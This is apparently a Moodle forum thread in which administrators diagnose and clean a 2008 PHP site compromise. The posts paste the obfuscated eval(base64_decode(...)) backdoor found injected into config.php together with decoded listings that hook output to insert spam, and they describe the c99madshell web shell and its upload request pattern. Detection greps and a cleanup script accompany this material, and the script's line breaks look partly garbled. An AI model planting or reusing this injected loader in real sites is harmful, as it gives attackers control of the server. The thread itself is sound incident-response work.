How to diagnose a Hacked Moodle Site?

How to diagnose a Hacked Moodle Site?

by Michael Lawler -
Number of replies: 104
Hi all,

My school's MOODLE site has been hacked. http://nnmschool.net/login/index.php/?show-page=155 and many pages like it (all links offered from that spam page) have all of a sudden shown up and the formatting no displays properly in firefox but displays normal as it was in IE and Safari, etc.

I was wondering how to track down, diagnose and fix this issue. The easiest way would be great as I hope nothing too drastic is necessary. All and any help would be appreciated. I don't even know how to find the ?showpage in a directory on the server. We are running 1.8.2 php5 and on an ubuntu 8.04 server. Please help! Thanks again for any-/everthing.
Average of ratings: -
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Petr Skoda -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
oh! 1.8.2 is really very old - see http://moodle.org/mod/forum/discuss.php?d=95031

There were very many problems fixed since 1.8.2 and it would be very time consuming to find out what exactly is wrong now (database, php files and moodledata). The only safe way is to find out when was the site hacked and restore database from last SQL backup before the accident, restore moodledata folder or at least delte all files modified after the accident and upload fresh PHP files - latest 1.8.x at least.

Petr
Average of ratings: Useful (1)
In reply to Petr Skoda

Re: How to diagnose a Hacked Moodle Site?

by Petr Skoda -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
I have reviewed the change log of moodle package in ubuntu - looks like several problems fixed this years were not backported into their package. The worst trouble mentioned above was fixed a bit late:

moodle (1.8.2-1.2ubuntu2) intrepid; urgency=low

* SECURITY UPDATE: arbitrary code execution via multiple vectors.
- Add CVE-2008-1502.dpatch: upstream KSES lib fixes, thanks to Nico Golde.

-- Kees Cook <kees@ubuntu.com> Wed, 22 Oct 2008 14:01:33 -0700

Did you update your server regularly? In anycase I would recommend using latest 1.9.3+ and updating at least every month.

Petr
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Mitsuhiro Yoshida -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Translators
Hi Michael,

Could you check your Moodle setting file 'config.php'?
I'm just guessing that something was written before the following lines.

<?php /// Moodle Configuration File

unset($CFG);

And please do not forget to change the owner of config.php from 'apache' to 'root' or others.wink

Mits

In reply to Mitsuhiro Yoshida

Re: How to diagnose a Hacked Moodle Site?

by Michael Lawler -
Wow...

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdXNyL3NoYXJlL21vb2RsZS9tb2QvbmV0cHVibGlzaC9sYW5nL2ZpX3V0ZjgvaGVscC9uZXRwdWJsaXNoL21kbF91dGYucGhwJykpe2luY2x1ZGVfb25jZSgnL3Vzci9zaGFyZS9tb29kbGUvbW9kL25ldHB1Ymxpc2gvbGFuZy9maV91dGY4L2hlbHAvbmV0cHVibGlzaC9tZGxfdXRmLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

was in the Config.php file...It was owned by www-data. I changed that to root, like the folder and the apache.conf in the folder were.

So, thanks for that Mits. Any other advice anyone? How could that php snippet allow for pages to be displayed on our domain? Links/Pages like: http://nnmschool.net/login/index.php/?show-page=155 and http://nnmschool.net/login/index.php/?show-page=42 which, by the way, are now complaining:

Warning: require_once(../config.php) [function.require-once]: failed to open stream: Permission denied in /usr/share/moodle/login/index.php on line 4

Fatal error: require_once() [function.require]: Failed opening required '../config.php' (include_path='.:/usr/share/php:/usr/share/pear') in /usr/share/moodle/login/index.php on line 4

Crazy world of system manipulation and hackers. Are the index files compromised? Any other help is greatly appreciated.
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Mitsuhiro Yoshida -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Translators
Ah!

<?php
/**/eval(base64_decode('aWYoZn
?>

Please delete 3 lines in config.php above.
Then check your config.php permission.
Is it like "-rw-r--r-- " (644) ?

If possible I would like to see the result of "ls -la config.php".

Mits


In reply to Mitsuhiro Yoshida

Re: How to diagnose a Hacked Moodle Site?

by Michael Lawler -
I had already deleted the malicious code...and I had already changed the permissions without checking the ls -la, but it was owned by and in the group of www-data. This is what it is now -rwxr-x--x 1 root root 1062 2008-12-02 13:24 config.php
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Michael Lawler -
Warning: require_once(config.php) [function.require-once]: failed to open stream: Permission denied in /usr/share/moodle/index.php on line 33

Fatal error: require_once() [function.require]: Failed opening required 'config.php' (include_path='.:/usr/share/php:/usr/share/pear') in /usr/share/moodle/index.php on line 33

is coming up now, when I try to navigate to any of my legitimate pages. On that line it reads: require_once('config.php');

That seems to match a new install I am using here as reference on my laptop. What now?

And Petr...Thanks for the advice. We are updating to 1.9.x over this Christmas break. The server is updated at least once a month and is currently and for the past month most definitely up to date. Thanks for your help.
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Michael Lawler -
ok, I was getting a permission problem after I changed permissions to the file. It now works if I put config.php back to www-data:www-data. But, Mits, you say it shouldn't be like that? the ls -la readout for config.php now (working), as www-data:www-data is: -rwxr-x--x 1 www-data www-data 1062 ...et cetera.
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Mitsuhiro Yoshida -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Translators
Hi Michael,

Great!
Could you change "owner and group" of your config.php as root:www-data using Linux command "chown root config.php" ?
And then please check your Moodle site works or not.

Mits

In reply to Mitsuhiro Yoshida

Re: How to diagnose a Hacked Moodle Site?

by Michael Lawler -
Yep, that works, and seems to be the hardening you meant for me to use in the first place. I guess the group needs to be accessed by www-data. The owner is now root and it works. Thanks again.

Just out of curiosity...how can that arbitrary code in the head of the config.php file create spam pages under our domain name. Other examples are listed here: http://74.125.95.132/search?q=cache:ZARRfiyoiOwJ:www.uazuay.edu.ec/servicios/facultades/detalle_archivo.php%3Fcoda%3D2834+nnmschool.net+breast&hl=en&ct=clnk&cd=2&gl=us

all links in that page bring me to the same style spam page which infected our site. Were those pages (data) ever in/on our server, can I delete them, or was it simply the <?php hack that created the illusion those spam pages were on our site? Any clarification would be greatly appreciated.
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

If you use Base64 decoder like http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/Default.aspx

that code you had is decoded:

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/usr/share/moodle/mod/netpublish/lang/fi_utf8/help/netpublish/mdl_utf.php')){include_once('/usr/share/moodle/mod/netpublish/lang/fi_utf8/help/netpublish/mdl_utf.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\<body/si',$c)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}

So it looks like there might be some vulnerability in module NETPUBLISH http://moodle.org/mod/data/view.php?d=13&rid=412&filter=1 

In reply to Mauno Korpelainen

Re: How to diagnose a Hacked Moodle Site?

by Petr Skoda -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
I've found some more exploited sites, not all of them are moodle. http://www.xoops.org/modules/newbb/viewtopic.php?post_id=297046 is a bit older, but seems similar.

Anyway do you have any other software installed on the same server?
Do you have any extensions or modifications in your moodle?
In reply to Petr Skoda

Re: How to diagnose a Hacked Moodle Site?

by Michael Lawler -
Yeah Petr,

As Mauno mentioned that string was decoded and I'm sure it was using a vulnerability in NetPublish, something I thought the school may use for our newspaper or the like, but we didn't, so that is now gone without a loss.

Everything is back to normal now, so thank you all for your help. Curious thing - the only way I knew we were hacked is because I received an automated message from google saying they refuse to continue to cache the site because it had been modified by a third party. I wish I could get more info from them, but that helped me enough to diagnose and solve the problem with the help of all of you. Thanks again.
In reply to Michael Lawler

Re: How to diagnose a Hacked Moodle Site?

by Martin Dougiamas -
Picture of Core developers Picture of Documentation writers Picture of Moodle HQ Picture of Particularly helpful Moodlers Picture of Plugin developers Picture of Testers
Actually, the file referred to in the script is actually not in the downloadable version of netpublish (I just checked), so it might NOT be the fault of netpublish at all.

The main problem here is that config.php was writeable by another script (any script on the server, doesn't have to be Moodle)... this definitely should never be left like this!

If it's possible, then it's quite clever for hackers to put their code into config.php, as it'll be run from any URL in Moodle without authentication and can show anything they like...

What I don't get is the explicit reference to /usr/share/moodle/mod/netpublish/lang/fi_utf8/help/netpublish/mdl_utf.php ... that seems to be hand-crafted to that particular server. Perhaps it was just another directory that had been left open by the admin allowing them to put their main code there. But then why put some code in config.php - it would have been easier to just have one "include" in config.php and do everything in the other script ... wierd.

Michael, do you still have a copy of that file (mdl_utf.php)? It could be useful!

For reference here is the config.php code unpacked:


if (function_exists('ob_start') &&!isset($GLOBALS['sh_no'])) {
$GLOBALS['sh_no']=1;
if (file_exists('/usr/share/moodle/mod/netpublish/lang/fi_utf8/help/netpublish/mdl_utf.php')) {
include_once('/usr/share/moodle/mod/netpublish/lang/fi_utf8/help/netpublish/mdl_utf.php');
if (function_exists('gml') && !function_exists('dgobh')){
if (!function_exists('gzdecode')) {
function gzdecode($d) {
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if ($f & 4) {
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if ($f&8) {
$h=strpos($d,chr(0),$h)+1;
}
if ($f&16) {
$h=strpos($d,chr(0),$h)+1;
}
if ($f&2) {
$h+=2;
}
$u=gzinflate(substr($d,$h));
if ($u===FALSE) {
$u=$d;
}
return $u;
}
}
function dgobh ($b) {
Header('Content-Encoding: none');
$c=gzdecode($b);
if (preg_match('/\ return preg_replace('/(\]*\>)/si','$1'.gml(),$c);
} else {
return gml().$c;
}
}
ob_start('dgobh');
}
}
}

Average of ratings: Useful (1)
In reply to Martin Dougiamas

Re: How to diagnose a Hacked Moodle Site?

by Pat Parslow -
Out of interest, we upgraded to 1.9.3 last Wednesday morning and seem to have been infected with this the same evening. It also got into our wordpress mu blog working on the same server.

Most of the infected files were in a wordpress theme, but the moodle config.php got hit too. There were several other infected files, most with the code above, but a couple with binary files (which are presumably executables).

I have copies of them all, but haven't had the chance to look through them yet to find out what they actually do.
In reply to Martin Dougiamas

Re: How to diagnose a Hacked Moodle Site?

by Bernard Boucher -
Hi all,
an old Moodle 1.6.1 with apachefriend on windows was hached the same way on 4th december 08. All the .php files in all folders start with the hack.

I hope it may help.

Bernard

In reply to Bernard Boucher

Re: How to diagnose a Hacked Moodle Site?

by Kevin Peck -

Same here..  Moodle 1.6.3 on apache2.  Ubuntu server...

Only seem to have modified config.php on all nine of my sites...  Other php's seem untouched.

Did find an asp_client folder that didn't belong with about 40,000 text files full of spam type junk...

Kevin Peck

In reply to Kevin Peck

Re: How to diagnose a Hacked Moodle Site?

by Petri Asikainen -
I got hacked here too. It was quite easy to clean up cause I'm using cvs-version of moodle. "cvs diff" shows all modified/added files. Still, it took lot of time to compile php and it dependencies on gentoo box.

Does anyone know what attack this is? Did it hit via of moodle bug or bug on php?

I tried to look server log files , but havent find anything yet.
Hack seems to post all variables to scripts so there's only little info on log files.
In reply to Petri Asikainen

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -

Hi Petri,

it is possible that these attacks were done by some new variants of old trojan viruses or remote files or any vulnerabilities and it is possible that it has nothing to do with moodle but I have also one theory that may be right or may be wrong but it might explain something. If your site does not have any (other) vulnerable programs the scripts and attackers need some open door or backdoor to get the trojans launched. I checked quickly your old site (is it still the same?) and there have been a lot of profile spam accounts in the past ( search with google and www.skto.fi/moodle/user/view.php )

About year ago I tested some profile spam links from a test PC and some of those links launched a trojan as an extra offer for other products - supposing you or some visitors tested some of the profile spam links on your site they may have launched a malicious script - the same way as some recent attacks have been made with iframes.

I really don't know - this is just one more guess - here in Finland security experts in F-Secure might be interested about infected files if you still have them ( http://www.f-secure.com/f-secure/contact_information.html )

Basicly cases like this should be addressed to Petr to tracker (security issues) - there have been some similar cases before (some blogs, gallery scripts, fckeditor 2.3 upload etc)

In reply to Petri Asikainen

Re: How to diagnose a Hacked Moodle Site?

by Janne Mikkonen -
Picture of Core developers
It seem like c99madshell hack.
In reply to Janne Mikkonen

Re: How to diagnose a Hacked Moodle Site?

by Mauno Korpelainen -
Janne,
I am 100% sure you were right - I found one cached script from a moodle site ( I can tell the cached location of site and send files to Petr or Martin if they need them ), used echo to get code after "eval(gzinflate(base64_decode..." saved the code to a test file and tested with local PC with browser... that gave madshell and full access to my local test PC. This is just as mad as the name of the script. angry

The previous script did not use Netpublish - it was located to '/usr/local/moodle/moodledata/6/backupdata/restored_surveys/course_files/glossary/Aly_s_Glossary/mdl_utf.php' !!!

So the original vulnerability is a REALLY NASTY SCRIPT that can be used against any site and programs - and in this case also against moodle.


In reply to Mauno Korpelainen

Re: How to diagnose a Hacked Moodle Site?

by Timothy Takemoto -
I found mdl_utf.php in the upload files of a wordpress installation.

I am hoping that it was only the wordpress installations that were compromised. Does anyone know if the "mdl" has anything to do with moodle, or whether it is just the generic name used by many c99madshell instances?

I am hoping than the vague similarity between "mdl" and "moodle" is fortuitous.
In reply to Mitsuhiro Yoshida

Re: How to diagnose a Hacked PHP Site?

by Luis Esteban -

I think you will find that it is actually only one line (one very long line).

I think this malware is fairly serious.  It is very large and very convoluted.  I haven't fully analysed this software, but it's true purpose could be hidden very deeply.

Our site was infected by it and I have seen a few others (http://baringhupps.vic.edu.au/,http://www.itruck.co.za/academy/).  I think it likely to be fairly prolific.

I don't think it gets in by a hole in Moodle.  The hole, I think, is in PHP.  Looking at our log, it seems to have gotten in through Joomla, but it has infected both Moodle and Joomla.  Actually, it will try to infect every PHP file on your server.  It will deposit itself in a random directory.  E.g. if it chooses to dump itself in a NetPublish directory, you will probably think it is a problem with NetPublish, but it's not.

There are two phases I have identified so far in it's operation.
1. Upload the bulk of the software to the server.
2. Activate it, and then continue to upload spam email templates.

The first breach, I think, uses a PHP vulnerbility, but I don't know which one yet (http://www.linuxsecurity.com/content/view/144327/170/).  I think further that it might just be PHP on Linux.  I haven't found a Windows (or other non-Linux server infected).  Please confirm this if you are infected on a non-Linux server or not.  If you are then it is definitely PHP.  Update to PHP 5.2.6-r7 or later. The first breach installs a file upload facility to an arbitrary directory.  After about 5 HTTP requests, you should then notice a reasonably continuous stream of requests from a variety of sources.  They may be disguised as WebBots (e.g. Google or Yahoo Slurp).  You will occassionally see a request for robots.txt, but this is not a real request.  The client ignores it and continues the stream of requests.  You will notice that the requests have the form of http://your.site/directory/script.php?keyword=123 . Your.site is your site.  Directory is a common directory, e.g. moodle or joomla or anything else even multiple levels, something that you wouldn't question.  It is not the directory of the malware.  The script is similarly anything common, e.g. index.php, calendar.php, ... .  The keyword is also arbitrary.  It could be show-id, card, Itemid, notice, ... anything that won't interfere with operations but looks common.  The value set to the keyword is the name of the file that is being uploaded to the server.  The file is transfered in the request (not in the URL but as data in the request).  So, then look for a file called 123 (or whatever you see in your log, there will be a lot to choose from).  The last request of initialisation will be http://your.site/directory/script.php?keyword=0&s  .  Before that, there should two requests: http://your.site/directory/script.php?dgm and http://your.site/directory/script.php?dga .  After that the stream should start.  Also, you should notice that your PHP-generated pages now have a "hidden" div (it's not display: hidden; , it's absolute position is something like -70000 to the left) which contains a number of spam type messages with links.  These links are links to other infected sites.  Again, I think it is a cover to what it is doing.  It looks like a simple hack to put spam info on your pages, but I think it is really providing feedback to the creator of the malware.

The directory containing the malware will contain all those uploaded files and also these files: s.php, mdl_utf.php, rfl, kwd, skwd, csi, cnf, t, dg.php, and swf.  The PHP files are encoded.  The csi and rfl files are keeping a record of what the malware is doing.

It looks like a spam generator, but there seems to be no email traffic coming out of the server.  So, I think it is not a spam generator, even though it looks like one, which makes me think it's purpose is very well hidden.

To remove the software, you will need to remove the first line from each infected PHP file on your site, which could be thousands.

This script might help:

#!/bin/bash
#
#       remove-infection        - Script to remove the XYZ infection from PHP files
#
#               Luis Esteban    8 December 2008
#                       Created
#
# Create yuck file by finding an infected file and doing
#   head -1 infectedfile > yuck
#
# Create infectedfiles file by doing
#   find / -name '*.php' | while read FILE; do if grep 'eval(base64_decode' "$FILE"; then echo "$FILE" >> infectedfiles; else echo "$FILE" >> notinfected; fi
; done
#
cat infectedfiles | while read FILE
  do
        echo "Cleaning $FILE"
        FILEHEAD=`head -1 "$FILE"`
        YUCKHEAD=`head -1 yuck`
        if [ "$FILEHEAD" = "$YUCKHEAD" ]
          then
                echo "Infected, cleaning ..."
                tail -n+2 "$FILE" > "clean$$"
                mv "clean$$
" "$FILE"
                chown root.root "$FILE"
                chmod -w "$FILE"
                chattr +i "$FILE"
                echo "$FILE" >> cleaned
          else
                echo "Not Infected"
                echo "$FILE" >> notcleaned
        fi
  done
 

Also, find the deposit directory and delete it (well, the directory probably contains something you want, so just delete the yucky files, or better yet copy the files you want and then blow away the directory, and replace back to original with your files).

Now, you will need to close the original hole.  This, I am not sure how to do, but I am assuming it will be closed by updating PHP.

The only problem left will be all the drones continuing to try to upload files (or whatever those requests are doing) "thinking" that your site is still responding.  This will only be a bandwidth issue.  Note that each request is about 12K (the size of the spam templates).

I haven't had time to fully analyse the malware.  I am hoping someone does and can discover the exact hole it used and what's actual purpose is.

Average of ratings: Useful (2)
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Kevin Moore -
Luis is bang on. My understanding is that its not a moodle issue, its inherently webservers/PHP issue, so you will see similar threads for other applications eg wordpress.

It relies on the fact that PHP mixes code into the webpage and 'adds' some PHP code into any upload or reply script eg mod/wiki/admin.php. Knowing the script (open code!) it can know variables (like $CFG) to use and can change them from writing to the moodledata filestore and instead write to the webserver moodle code area. The uploaded file thus becomes executable.

If you want to know how bad and easy this can be try looking for madshell or moodle remote code exploit astalavista via google.

A fast way to search for it (on linux at least, warning! cmd line voodoo!)
find /var/www/html -iname '*.php' -exec grep -q 'eval(gzinflate' '{}' \; -print

and try looking for 'eval(base' as well. Its obvious such files are not moodle code and easy to delete the inserted lines.

As for prevention?
Follow http://docs.moodle.org/en/Security and use the paranoid settings. IMHO they should be bumped upto standard settings. The idea is to make the moodle code files readonly, so the webserver can read and use them but cant write anything there. So if your running as webserver as apache, then the files and directories are owned by root.

cd /var/www/html/moodle
chown -R root:root *
find . -type d exec chmod 755 '{}' \;
find . -type f -exec chmod 644 '{}' \;

At least I hope the permission stops it...









Average of ratings: Useful (4)
In reply to Kevin Moore

Re: How to diagnose a Hacked PHP Site?

by Iñaki Arenaza -
Picture of Core developers Picture of Documentation writers Picture of Peer reviewers Picture of Plugin developers
There's a second set of files you should set as read-only to the web server user: the language files.

Language files currently live under $CFG->dataroot, and they are writeable by default (everything under $CFG->dataroot is). The problem with language files is that they are in fact PHP code. So if you can write to those files, you can execute anything you want.

Most people don't change their language files at all and don't upgrade them either. If you have local access to your Moodle server (or can access it via ftp or some sort of control panel), I'd advise to make them read-only, so you close another hole, as I've seen at least one server where the language files were modified (I don't know if before or after other moodle files where modified).

Just do your language files changes (and upgrades) on your local workstation and then upload them to your moodle site and make them read only. A little bit more of work, but a lot of extra security.

Saludos. Iñaki.
Average of ratings: Useful (2)
In reply to Iñaki Arenaza

Re: How to diagnose a Hacked PHP Site?

by Richard Enison -
IA,

So if you do want to upgrade the language files, you have to make them writable, then read-only again after the upgrade every time? I don't think so. That's what I call: wrong answer! So what's the right answer? I don't call something the wrong answer until I have a replacement. The right answer is to redesign the language files the way they should have been from the beginning: as data files, not PHP scripts. Then the functions get_string and print_string would have to be re-written once, and that's it. The biggest problem with this design change, of course, is with compatibility problems that might arise with Moodlers who upgrade without upgrading the language files, or make them read-only.

RLE
In reply to Richard Enison

Re: How to diagnose a Hacked PHP Site?

by Luis Esteban -

I've always wanted the lang files to be in the database, that is, not files at all.  This should also give you the ability to allow users (i.e. teachers/course creators) to add or edit words.  I want to have language files not just for ethnic languages, but also age languages, that is, for our primary students, and maybe even infants!

As in baseball, ... SAFE!!

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Tim Hunt -
Picture of Core developers Picture of Documentation writers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers
But also, as in baseball, very slow.
Average of ratings: Useful (1)
In reply to Kevin Moore

Re: How to diagnose a Hacked PHP Site?

by Timothy Takemoto -

Is there anything in moodle, in the php that we can do to prevent this kind of hack?

I have a pretty weird set up on my server, with php running as root, so I am not sure I can do the security measures mentioned above.

By the way, lately I have been recieving error reports of login attempts from some sort of robot attempting a variety of usernames (and what passwords, I know not).

Tim

In reply to Timothy Takemoto

Re: How to diagnose a Hacked PHP Site?

by Richard Garner -
I am currently dealing with a similar problem for a customer with Moodle - Content has been injected and is visible when you "view source" index.php in a browser (but is not present in the real source of index.php). I have tracked the problem down, and it appears that a series of files have been created in moodledata\1\moddata\forum\42\224 on this paticular installation which contain what apppear to be XML templates, along with a "s.php", a "dg.php" both of which start "eval(gzinflate(base64" and a "mdl_utf.php", which starts with "eval(base64_decode". There is also a file called "csi" which contains an IP address followed by a pipe and what appears to be a serial, a "cnf" file which appears to contain some variables and their values (it appears to be bas64 encoded, but I am still working on it). There is a "kwd" file with a set of sentences in it (1000 lines), an "rlf" file containg a series of dates followed by numbers (hit count? exploit count?), an "skwd" which is 9707 lines with one randomly generated word on a line, a "swf" file containing either binary or encrypted data, and a "t" file containing what appears to be CSS. I then back-tracked the IIS logs to the creation time of those files and found an inordinate number of requests for "/moodle/login/signup.php", interspersed with referral strings from google and yahoo. One of these was: "http://www.google.co.uk/search?hl=en&rlz=1G1GGLQ_ENXX250&q=best+bank+worldwide+%2Bmoodle&start=10&sa=N" which demonstrates the extent of the number of moodle boxes which are/have been compromised by this attack. I am still working on this and will update with any more information I can, and I hope this information is useful to someone.
Average of ratings: Useful (1)
In reply to Richard Garner

Re: How to diagnose a Hacked PHP Site?

by Luis Esteban -
> I am currently dealing with a similar problem for a customer with Moodle ...

If you don't mind me correcting you, it is not similar. It is the same!

The injected content is coming from the first line in your PHP files (atleast one will have it, could be thousands depending on your site). The line starts: <? /**/eval(base64_decode('aWYoZnVuY3R...

The string 'aWYoZnVuY3R...' is generated for your site's infection. It contains the directory of your infection. In your case it is moodledata\1\moddata\forum\42\224.

This directory is the destination for all uploaded files that arrive through the 'GET /ddd/sss.php?fff=nnn' requests; where ddd=a script directory (not the target directory, just one that contains an infected PHP script), sss=an infected PHP script, fff=the parameter chosen for your site (it could be anything), and nnn=a number which will become the filename for the data in the request which will be save into the target directory. So, for example, (I don't know your chosen parameter, so I am using 'vehicle' in the example), GET /moodle/login/signup.php?vehicle=234 will upload a file to the directory moodledata\1\moddata\forum\42\224 and save it as '234'. The size of the file will correspond with the size of the data in the request, which will be about 12K.

I have written to Yahoo and asked them to confirm that requests of this form (I have given them the details for my site, the chosen parameter etc.) are actually coming from their site. Many hundreds of requests have come from IPs in these ranges:
- 67.195.37.106 to 67.195.37.165
- 72.30.65.24 to 72.30.161.252
- 74.6.8.109 to 74.6.22.165
- 202.160.178.21 to 202.160.184.18
If the requests are actually coming from those actual IPs, then Yahoo is severely infected (or somehow being proxied through). If not, then there is a significant spoof attack occuring, which I'm not sure how they could achieve, which makes me think that Yahoo, and also Google, and Microsoft, and ... have all been compromised, which makes me think that's pretty severe, and maybe it is a spoofing thing. Most requests for my site have come from Yahoo, but there are many others ranging from big sites to anonymous ones. I am inclined to ignore the identification information provided in the requests (e.g. the referrer, the browser, etc.). I think they are bogus, which the IPs could be bogus too, but that's harder to make bogus. Analyse the packets coming in. Check their TTL's and sequence numbers, oh and also their src ports. If there are any inconsistencies, then you'll know the IP's are spoofed. E.g.
72.30.87.120: SPT=35123, TTL=46, ID=27519
66.249.73.186: SPT=35123, TTL=46, ID=27520

I haven't found any inconsistencies yet, but the malware requests are coming from many many different IPs. So, it could be very wide spread and coordinated because all the requests from all these different IPs all have the chosen parameter for my site! And, they are all loaded with those spam email bodies.

I know of two Linux installations infected and two Windows installations infected, which means that it must be a PHP hole (e.g. see http://www.linuxsecurity.com/content/view/144327/170/). Also, one Linux system was invaded through a joomla script and the other a Moodle script.

My assumption is that the hole will be closed by upgrading PHP. Note though that one invaded system was using PHP 5.2.6-r2, and the most recent version available is a fledgling 5.2.7. I don't actually know if that closes the hole used by this malware. Someone should name it or find the name of it.

I haven't analysed the s.php code yet. The mdl_utf.php is the main routine. The csi file records an IP with a timecode (e.g. now is 1229070566, number of seconds since Thu Jan 01 10:00:00 +1000 1970). I don't know the purpose of the data yet. The cnf file stores the configuration of the malware for your site, such as the upload parameter variable. The swf file is a Macromedia Flash data (compressed), version 9. The t file is a HTML spam template.

This malware deserves(?) no needs analysis and attention. At first look, it looks like a page hack which inserts some spam type info and links. At a second look, it looks like a spam generator. However, I think there needs to be a third look to reveal it's true purpose. The first look, the page hack, seems to have failed because the place the data in a div which is 70000 pixels to the left. Why would a coder write such an elaborate program only to stuff up in the output? If you look at the links in the div they all have the same form of those upload requests, which makes me think that the real purpose of the div is feedback to "the enemy", because the links are not evaluated and are not visible for clicking on. The second look, the spam generator, seems to have failed because the system has not been sending emails and seems to only be uploading files instead of sending stuff. This makes me think that all of this is just a cover to its real purpose, which I suspect is mainly information gathering (passwords?, vulnernable sites?, ...?).

The coder has gone to significant lengths to obfuscate the code, e.g. the cnf file. Why obfuscate the configuration variables, when their discovery is connected to the removal of the code. Obfuscation of the cnf file doesn't hide the spam generator because it is in the same directory! I assume it means that the coder doesn't want you to know what it has done when you delete it. If it was just generating spam, then that looks obvious, so why try so hard to hide that by obfuscating the code?

I think the s.php file is the key. Decode that to determine it's purpose, I think.
In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Mauno Korpelainen -

It does not have to be so complex. Like Derek Fountain explains in that report that Janne attached http://www.derekfountain.org/security_c99madshell.php

"c99madshell is a single PHP script... It arrives as a zipped and base64 encoded stream, and contains a wrapper to unpack itself when it gets called. In fact, there are 10 levels of zip/base64 wrapping the actual script, a precaution presumably made by the writer to prevent the script being spotted by malware detection software.

To make the script active, its user - the system attacker - just needs to copy it somewhere where the webserver will serve it. An innocent user's public_html directory will do nicely. Once the attacker has found a way of getting into such a place he just needs to point his web browser at it. The server will run it and send its output to the attacker's browser. The output of the c99madshell script is a remarkably well featured control panel which the attacker can use to control the server the script is running on."

I really found, decompiled and tested one of those scripts found from hacked moodle site and it is a fully functional madshell script and it is capable to do exactly those things that Derek describes. The main file was found from a script starting with eval(gzinflate(base64_decode('HJ3HkqNQEkU...

Kevin's suggestion is very useful - the only way to prevent this kind of attacks is to use upgraded versions of programs, that do not allow write access to directly web accessable files - if attacker gets write access to one folder inside web root and can upload/extract the main file it gives the attacker full access to whole web root and all files inside it - attacker can use any names he wants for the files, upload new vulnerable scripts to any folder he wants (they don't need to be arbitary - attacker can choose a good place for hiding the code) and so on. I tested renaming the test script to testvu.php and it still worked as before.

The script has also a self remove button...

It also looks like most of those attacked moodle sites that I found with google are (once again) old sites - moodle 1.5 or 1.6 - and in many cases have moodledata inside web root. Web sites are daily hammered by "bots" that can use spoofed (always different) IP, any kind of usernames and passwords (usually they are english names or words) but it's hard to believe that google bots or yahoo bots could have a major role in these attacks - they are probably just searching any pages they find from server.

I believe this new spam wave started because for example all default settings of user profiles allowing profile spam were changed in moodle and spammers need to find new targets for their attacks. It's going to be a busy Christmas season again...

In reply to Luis Esteban

Re: How to diagnose a Hacked PHP Site?

by Richard Garner -
Thanks for your contribution Luis.

Using the details at "http://danilo.ariadoss.com/2006/01/04/decoding-eval-gzinflate-base64_decode/" I have decrypted "s.php". Unfortunately it is far more complicated than my PHP skills allow me to decode, but you may fare better than I do.

